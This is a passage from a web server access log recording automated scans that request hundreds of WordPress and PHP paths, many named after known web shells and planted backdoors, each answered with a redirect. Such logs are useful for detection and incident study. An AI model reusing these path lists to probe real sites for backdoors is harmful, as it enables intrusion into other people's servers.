/wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:36 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:37 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:37 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:38 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:39 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:39 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:40 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:40 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:41 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:41 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:42 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:42 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:43 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:43 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:43 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:44 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:44 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:45 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:45 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:46 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:46 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:47 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:47 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:47 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:48 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:48 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:49 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:49 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:50 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:50 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:51 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:52 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:52 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:53 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:53 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:54 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:55 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:55 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:56 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:57 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:57 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:59 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:33:59 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:00 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:00 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:01 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:01 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:02 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:02 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:03 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:04 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:05 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:06 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:07 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:08 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:09 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:09 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:10 -0400] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:10 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:12 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:12 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:14 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:15 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:16 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:17 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:18 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:18 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:19 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 40.85.180.67 - - [15/Apr/2025:20:34:20 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 192.178.6.72 - - [15/Apr/2025:20:39:43 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 192.178.6.72 - - [15/Apr/2025:20:39:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 79.142.77.68 - - [15/Apr/2025:20:45:22 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15" 2a0c:5700:3133:4000:be24:11ff:fe07:68d - - [15/Apr/2025:20:45:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Mobile/15E148 Safari/604.1" 167.88.60.249 - - [15/Apr/2025:20:45:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 167.88.60.249 - - [15/Apr/2025:20:45:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 167.88.60.249 - - [15/Apr/2025:20:45:41 -0400] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 178.159.37.55 - - [15/Apr/2025:21:22:16 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 13.68.220.225 - - [15/Apr/2025:21:37:17 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:18 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:18 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:19 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:19 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:19 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:20 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:20 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:21 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:21 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:21 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:22 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:22 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:22 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:23 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:23 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:23 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:23 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:24 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:24 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:24 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:25 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:25 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:25 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:25 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:26 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:26 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:27 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:27 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:27 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:28 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:28 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:28 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:28 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:29 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:29 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:29 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:30 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:31 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:31 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:32 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:32 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:32 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:33 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:33 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:33 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:34 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:34 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:37 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:37 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:38 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:38 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:39 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:39 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:39 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:39 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:40 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:40 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:40 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:41 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:41 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:41 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:41 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:42 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:42 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:43 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:43 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:43 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:43 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:43 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:44 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:44 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:44 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:45 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:45 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:45 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:46 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:47 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:47 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:47 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:48 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:49 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:49 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:49 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:49 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:50 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:51 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:52 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:52 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:52 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:52 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:53 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:53 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:53 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:54 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:54 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:54 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:55 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:55 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:55 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:56 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:56 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:57 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:57 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:58 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:37:59 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:00 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:01 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:02 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:02 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:03 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:03 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:04 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:04 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:05 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:05 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:05 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:06 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:07 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:08 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:09 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:09 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:10 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:10 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:11 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:11 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:12 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:13 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:14 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:16 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:16 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:16 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:17 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:17 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:18 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:19 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:19 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - [15/Apr/2025:21:38:19 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 13.68.220.225 - - 